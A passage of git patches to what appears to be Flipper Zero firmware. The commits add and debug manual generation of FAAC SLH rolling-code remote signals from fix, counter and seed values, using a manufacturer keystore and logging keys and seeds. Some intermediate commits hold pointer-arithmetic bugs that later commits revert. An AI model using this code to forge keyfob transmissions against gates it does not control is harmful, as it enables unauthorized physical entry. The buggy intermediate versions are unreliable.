"fix: %8X\n", *subghz->txrx->secure_data->fix); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 565ee56f6..780225563 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -39,7 +39,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; - FURI_LOG_I(TAG, "seed: %8X\n", subghz->txrx->secure_data->seed); + FURI_LOG_I(TAG, "seed: %8X\n", *subghz->txrx->secure_data->seed); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); From 4f580f1e172b244203890e4a30d2f42714ad29bd Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 23 Apr 2022 16:51:17 +0300 Subject: [PATCH 106/461] Update subghz_scene_set_type.c --- applications/subghz/scenes/subghz_scene_set_type.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 678d9adde..c4739f2cb 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -160,13 +160,13 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { switch(event.event) { case SubmenuIndexFaacSLH: scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); - uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | - subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; + uint32_t fix_part = *subghz->txrx->secure_data->fix << 24 | ((*subghz->txrx->secure_data->fix+1) << 16) | + ((*subghz->txrx->secure_data->fix+2) << 8) | (*subghz->txrx->secure_data->fix+3); FURI_LOG_I(TAG, "fix: %8X", fix_part); - uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; + uint16_t cnt = *subghz->txrx->secure_data->cnt << 8 | (*subghz->txrx->secure_data->cnt+1); FURI_LOG_I(TAG, "cnt: %8X", cnt); - uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | - subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; + uint32_t seed = *subghz->txrx->secure_data->seed << 24 | ((*subghz->txrx->secure_data->seed+1) << 16) | + ((*subghz->txrx->secure_data->seed+2) << 8) | (*subghz->txrx->secure_data->seed+3); FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); From eb57632a22d6628882c708c6f2a8160d9c17356d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 23 Apr 2022 17:17:22 +0300 Subject: [PATCH 107/461] //// --- applications/subghz/scenes/subghz_scene_set_cnt.c | 3 ++- applications/subghz/scenes/subghz_scene_set_fix.c | 4 +++- applications/subghz/scenes/subghz_scene_set_seed.c | 4 +++- applications/subghz/scenes/subghz_scene_set_type.c | 8 ++++---- 4 files changed, 12 insertions(+), 7 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index 06b12a640..db466fdb2 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -39,7 +39,8 @@ bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_cnt_on_exit(void* context) { SubGhz* subghz = context; - FURI_LOG_I(TAG, "cnt: %4X\n", *subghz->txrx->secure_data->cnt); + uint16_t cnt = *subghz->txrx->secure_data->cnt << 8 | (*subghz->txrx->secure_data->cnt+1); + FURI_LOG_I(TAG, "cnt: %4X\n", cnt); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c index 19931ca35..fac958577 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -39,7 +39,9 @@ bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_fix_on_exit(void* context) { SubGhz* subghz = context; - FURI_LOG_I(TAG, "fix: %8X\n", *subghz->txrx->secure_data->fix); + uint32_t fix = *subghz->txrx->secure_data->fix << 24 | (*subghz->txrx->secure_data->fix+1) << 16 | + (*subghz->txrx->secure_data->fix+2) << 8 | (*subghz->txrx->secure_data->fix+3); + FURI_LOG_I(TAG, "fix: %8X\n", fix); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 780225563..e3da0a557 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -39,7 +39,9 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; - FURI_LOG_I(TAG, "seed: %8X\n", *subghz->txrx->secure_data->seed); + uint32_t seed = *subghz->txrx->secure_data->seed << 24 | (*subghz->txrx->secure_data->seed+1) << 16 | + (*subghz->txrx->secure_data->seed+2) << 8 | (*subghz->txrx->secure_data->seed+3); + FURI_LOG_I(TAG, "seed: %8X\n", seed); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index c4739f2cb..9255a09cf 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -160,13 +160,13 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { switch(event.event) { case SubmenuIndexFaacSLH: scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); - uint32_t fix_part = *subghz->txrx->secure_data->fix << 24 | ((*subghz->txrx->secure_data->fix+1) << 16) | - ((*subghz->txrx->secure_data->fix+2) << 8) | (*subghz->txrx->secure_data->fix+3); + uint32_t fix_part = *subghz->txrx->secure_data->fix << 24 | (*subghz->txrx->secure_data->fix+1) << 16 | + (*subghz->txrx->secure_data->fix+2) << 8 | (*subghz->txrx->secure_data->fix+3); FURI_LOG_I(TAG, "fix: %8X", fix_part); uint16_t cnt = *subghz->txrx->secure_data->cnt << 8 | (*subghz->txrx->secure_data->cnt+1); FURI_LOG_I(TAG, "cnt: %8X", cnt); - uint32_t seed = *subghz->txrx->secure_data->seed << 24 | ((*subghz->txrx->secure_data->seed+1) << 16) | - ((*subghz->txrx->secure_data->seed+2) << 8) | (*subghz->txrx->secure_data->seed+3); + uint32_t seed = *subghz->txrx->secure_data->seed << 24 | (*subghz->txrx->secure_data->seed+1) << 16 | + (*subghz->txrx->secure_data->seed+2) << 8 | (*subghz->txrx->secure_data->seed+3); FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); From 35a1712ba39474f1579aaf1b0741a7f61adf0af1 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 23 Apr 2022 17:33:19 +0300 Subject: [PATCH 108/461] correct data --- applications/subghz/scenes/subghz_scene_set_cnt.c | 2 +- applications/subghz/scenes/subghz_scene_set_fix.c | 4 ++-- applications/subghz/scenes/subghz_scene_set_seed.c | 4 ++-- applications/subghz/scenes/subghz_scene_set_type.c | 10 +++++----- 4 files changed, 10 insertions(+), 10 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index db466fdb2..0cee0faf1 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -39,7 +39,7 @@ bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_cnt_on_exit(void* context) { SubGhz* subghz = context; - uint16_t cnt = *subghz->txrx->secure_data->cnt << 8 | (*subghz->txrx->secure_data->cnt+1); + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; FURI_LOG_I(TAG, "cnt: %4X\n", cnt); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c index fac958577..fd59eabfc 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -39,8 +39,8 @@ bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_fix_on_exit(void* context) { SubGhz* subghz = context; - uint32_t fix = *subghz->txrx->secure_data->fix << 24 | (*subghz->txrx->secure_data->fix+1) << 16 | - (*subghz->txrx->secure_data->fix+2) << 8 | (*subghz->txrx->secure_data->fix+3); + uint32_t fix = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; FURI_LOG_I(TAG, "fix: %8X\n", fix); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index e3da0a557..090d92b8e 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -39,8 +39,8 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; - uint32_t seed = *subghz->txrx->secure_data->seed << 24 | (*subghz->txrx->secure_data->seed+1) << 16 | - (*subghz->txrx->secure_data->seed+2) << 8 | (*subghz->txrx->secure_data->seed+3); + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; FURI_LOG_I(TAG, "seed: %8X\n", seed); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 9255a09cf..678d9adde 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -160,13 +160,13 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { switch(event.event) { case SubmenuIndexFaacSLH: scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); - uint32_t fix_part = *subghz->txrx->secure_data->fix << 24 | (*subghz->txrx->secure_data->fix+1) << 16 | - (*subghz->txrx->secure_data->fix+2) << 8 | (*subghz->txrx->secure_data->fix+3); + uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; FURI_LOG_I(TAG, "fix: %8X", fix_part); - uint16_t cnt = *subghz->txrx->secure_data->cnt << 8 | (*subghz->txrx->secure_data->cnt+1); + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; FURI_LOG_I(TAG, "cnt: %8X", cnt); - uint32_t seed = *subghz->txrx->secure_data->seed << 24 | (*subghz->txrx->secure_data->seed+1) << 16 | - (*subghz->txrx->secure_data->seed+2) << 8 | (*subghz->txrx->secure_data->seed+3); + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); From a36c1d70e6851d2ec305addb2c7a72e9091c19a2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 24 Apr 2022 00:11:46 +0300 Subject: [PATCH 109/461] Update subghz_scene_set_type.c try this --- applications/subghz/scenes/subghz_scene_set_type.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 678d9adde..04db00a0e 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -160,6 +160,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { switch(event.event) { case SubmenuIndexFaacSLH: scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); + if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneSetSeed)) { uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; FURI_LOG_I(TAG, "fix: %8X", fix_part); @@ -191,6 +192,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } + } break; case SubmenuIndexPricenton: key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 From 67301111cc7cd987a63e89991bdaa4605bf4a937 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 24 Apr 2022 20:54:57 +0300 Subject: [PATCH 110/461] Update subghz_scene_set_seed.c --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 090d92b8e..9aca7a9a8 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -30,7 +30,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { - scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); + scene_manager_search_and_switch_to_previous_scene(subghz->scene_manager, SubGhzSceneSetType); consumed = true; } } From 74db3d6bb66a78ab445dd383981d1c4db83bfd9b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 24 Apr 2022 21:33:22 +0300 Subject: [PATCH 111/461] new concept --- .../subghz/scenes/subghz_scene_set_seed.c | 44 ++++++++++++++++++- .../subghz/scenes/subghz_scene_set_type.c | 33 -------------- 2 files changed, 42 insertions(+), 35 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 9aca7a9a8..16ee5a1e9 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -1,4 +1,6 @@ #include "../subghz_i.h" +#include +#include #define TAG "SubGhzSetSeed" @@ -27,12 +29,50 @@ void subghz_scene_set_seed_on_enter(void* context) { bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; bool consumed = false; - + bool generated_protocol = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { - scene_manager_search_and_switch_to_previous_scene(subghz->scene_manager, SubGhzSceneSetType); + uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; + FURI_LOG_I(TAG, "fix: %8X", fix_part); + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; + FURI_LOG_I(TAG, "cnt: %8X", cnt); + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; + FURI_LOG_I(TAG, "seed: %8X", seed); + subghz->txrx->transmitter = + subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); + if(subghz->txrx->transmitter) { + subghz_protocol_faac_slh_create_data( + subghz->txrx->transmitter->protocol_instance, + subghz->txrx->fff_data, + fix_part >> 4, + fix_part & 0xf, + cnt, + seed, + "FAAC_SLH", + 868350000, + FuriHalSubGhzPresetOok650Async); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } consumed = true; } + if(generated_protocol) { + subghz_file_name_clear(subghz); + DOLPHIN_DEED(DolphinDeedSubGhzAddManually); + scene_manager_set_scene_state( + subghz->scene_manager, SubGhzSceneSetType, SubGhzCustomEventManagerSet); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); + return true; + } } return consumed;; } diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 04db00a0e..c0d53d7c4 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -160,39 +160,6 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { switch(event.event) { case SubmenuIndexFaacSLH: scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); - if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneSetSeed)) { - uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | - subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; - FURI_LOG_I(TAG, "fix: %8X", fix_part); - uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; - FURI_LOG_I(TAG, "cnt: %8X", cnt); - uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | - subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; - FURI_LOG_I(TAG, "seed: %8X", seed); - subghz->txrx->transmitter = - subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); - if(subghz->txrx->transmitter) { - subghz_protocol_faac_slh_create_data( - subghz->txrx->transmitter->protocol_instance, - subghz->txrx->fff_data, - fix_part >> 4, - fix_part & 0xf, - cnt, - seed, - "FAAC_SLH", - 868350000, - FuriHalSubGhzPresetOok650Async); - generated_protocol = true; - } else { - generated_protocol = false; - } - subghz_transmitter_free(subghz->txrx->transmitter); - if(!generated_protocol) { - string_set( - subghz->error_str, "Function requires\nan SD card with\nfresh databases."); - scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); - } - } break; case SubmenuIndexPricenton: key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 From 186b12580e0f55d544ba04e971535b6473fefdeb Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 24 Apr 2022 22:50:48 +0300 Subject: [PATCH 112/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index d93c9c934..653057534 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -112,11 +112,10 @@ void subghz_protocol_encoder_faac_slh_free(void* context) { static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) { instance->generic.cnt++; - uint32_t fix = instance->generic.data >> 32; + uint32_t fix = instance->generic.serial << 4 | instance->generic.btn; uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - instance->generic.seed = 0x77ED7698; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -404,8 +403,6 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - instance->seed = 0x77ED7698; - for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { From bb405224634606e2bab7e43f6a8f97a203d42abe Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 24 Apr 2022 23:08:41 +0300 Subject: [PATCH 113/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 653057534..23c4c6d30 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -110,8 +110,9 @@ void subghz_protocol_encoder_faac_slh_free(void* context) { free(instance); } -static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) { +static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance, uint32_t seed) { instance->generic.cnt++; + instance->generic.seed = seed; uint32_t fix = instance->generic.serial << 4 | instance->generic.btn; uint32_t hop = 0; uint32_t decrypt = 0; @@ -176,7 +177,7 @@ bool subghz_protocol_faac_slh_create_data( instance->generic.seed = seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; - bool res = subghz_protocol_faac_slh_gen_data(instance); + bool res = subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); if(res) { res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); @@ -193,7 +194,7 @@ static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) { furi_assert(instance); - subghz_protocol_faac_slh_gen_data(instance); + subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); size_t index = 0; size_t size_upload = 2 + (instance->generic.data_count_bit * 2); if(size_upload > instance->encoder.size_upload) { From 5ce7c0a7b8bb9928857643dca3c0837c6facece4 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 24 Apr 2022 23:24:27 +0300 Subject: [PATCH 114/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 23c4c6d30..fc846bdcf 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -113,6 +113,7 @@ void subghz_protocol_encoder_faac_slh_free(void* context) { static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance, uint32_t seed) { instance->generic.cnt++; instance->generic.seed = seed; + FURI_LOG_I(TAG, "SEED (gen_data): %8X\n", instance->generic.seed); uint32_t fix = instance->generic.serial << 4 | instance->generic.btn; uint32_t hop = 0; uint32_t decrypt = 0; @@ -143,6 +144,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hi = manufacture_code->key >> 32; uint32_t lo = manufacture_code->key & 0xFFFFFFFF; FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); + FURI_LOG_I(TAG, "SEED (encrypt): %8X\n", instance->generic.seed); uint32_t mlhi = man >> 32; uint32_t mllo = man & 0xFFFFFFFF; FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); @@ -178,6 +180,7 @@ bool subghz_protocol_faac_slh_create_data( instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance, instance->generic.seed); + FURI_LOG_I(TAG, "SEED: %8X\n", instance->generic.seed); if(res) { res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); @@ -414,6 +417,7 @@ static void subghz_protocol_faac_slh_check_remote_controller // FAAC Learning man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); + FURI_LOG_I(TAG, "SEED (decrypt): %8X\n", instance->seed); uint32_t mlhi = man >> 32; uint32_t mllo = man & 0xFFFFFFFF; FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); From 3201c2fb132c8b78233391e94d24010472b82ae0 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 24 Apr 2022 23:29:43 +0300 Subject: [PATCH 115/461] Update subghz_scene_set_seed.c --- applications/subghz/scenes/subghz_scene_set_seed.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 16ee5a1e9..4e8361ef1 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -53,6 +53,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { "FAAC_SLH", 868350000, FuriHalSubGhzPresetOok650Async); + FURI_LOG_I(TAG, "SEED (set_type): %8X\n", seed); generated_protocol = true; } else { generated_protocol = false; From 12c259027c5073b576f1361b2d9cd0cd703af97a Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 25 Apr 2022 19:17:39 +0300 Subject: [PATCH 116/461] upd submodules --- assets/protobuf | 2 +- lib/FreeRTOS-Kernel | 2 +- lib/STM32CubeWB | 2 +- lib/littlefs | 2 +- lib/mlib | 2 +- lib/nanopb | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/assets/protobuf b/assets/protobuf index 93b9cf3af..0ad90705b 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 93b9cf3af76664a27646494341a63281a9022740 +Subproject commit 0ad90705b9434b6f8fb2c4b605069f0d56d8cc70 diff --git a/lib/FreeRTOS-Kernel b/lib/FreeRTOS-Kernel index 4c4089b15..ec7c40335 160000 --- a/lib/FreeRTOS-Kernel +++ b/lib/FreeRTOS-Kernel @@ -1 +1 @@ -Subproject commit 4c4089b1544b590ed3b72491a15365ec020c921f +Subproject commit ec7c40335db4cc8fd5af4346ee036c9006403153 diff --git a/lib/STM32CubeWB b/lib/STM32CubeWB index 528461f82..a9e29b431 160000 --- a/lib/STM32CubeWB +++ b/lib/STM32CubeWB @@ -1 +1 @@ -Subproject commit 528461f8276f06783d46461bfb31d77aa8bac419 +Subproject commit a9e29b431f6dac95b6fc860a717834f35b7f78e5 diff --git a/lib/littlefs b/lib/littlefs index 1863dc788..40dba4a55 160000 --- a/lib/littlefs +++ b/lib/littlefs @@ -1 +1 @@ -Subproject commit 1863dc7883d82bd6ca79faa164b65341064d1c16 +Subproject commit 40dba4a556e0d81dfbe64301a6aa4e18ceca896c diff --git a/lib/mlib b/lib/mlib index 62c8ac3e5..66735e99c 160000 --- a/lib/mlib +++ b/lib/mlib @@ -1 +1 @@ -Subproject commit 62c8ac3e5d4a7a4f8757328e7a80286fde2686b6 +Subproject commit 66735e99c3d243b09e18ccd831bc1af37d626460 diff --git a/lib/nanopb b/lib/nanopb index c9124132a..b574ac5ae 160000 --- a/lib/nanopb +++ b/lib/nanopb @@ -1 +1 @@ -Subproject commit c9124132a604047d0ef97a09c0e99cd9bed2c818 +Subproject commit b574ac5aedbc72e3b47030e67d88e28b56ad79e0 From 07b1889f6fc2d2f9393f0adf664d8bf78d584b84 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 25 Apr 2022 19:20:02 +0300 Subject: [PATCH 117/461] Update libusb_stm32 --- lib/libusb_stm32 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/libusb_stm32 b/lib/libusb_stm32 index 8a7846d02..fd58c2b04 160000 --- a/lib/libusb_stm32 +++ b/lib/libusb_stm32 @@ -1 +1 @@ -Subproject commit 8a7846d0213c51aa4167e7fbe3118e33848e79b7 +Subproject commit fd58c2b04710554626ac69d9fb5fa1211d1bcaf0 From 5c4cfd3fd40b779cccfc18005af6facd6280c8a8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 25 Apr 2022 19:33:42 +0300 Subject: [PATCH 118/461] Update mlib --- lib/mlib | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/mlib b/lib/mlib index 66735e99c..62c8ac3e5 160000 --- a/lib/mlib +++ b/lib/mlib @@ -1 +1 @@ -Subproject commit 66735e99c3d243b09e18ccd831bc1af37d626460 +Subproject commit 62c8ac3e5d4a7a4f8757328e7a80286fde2686b6 From e49f6a1d76679bf4685af816c0874a71194ae12e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 25 Apr 2022 22:22:09 +0300 Subject: [PATCH 119/461] seed transmition --- applications/subghz/scenes/subghz_scene_set_seed.c | 4 ++-- lib/subghz/protocols/faac_slh.c | 11 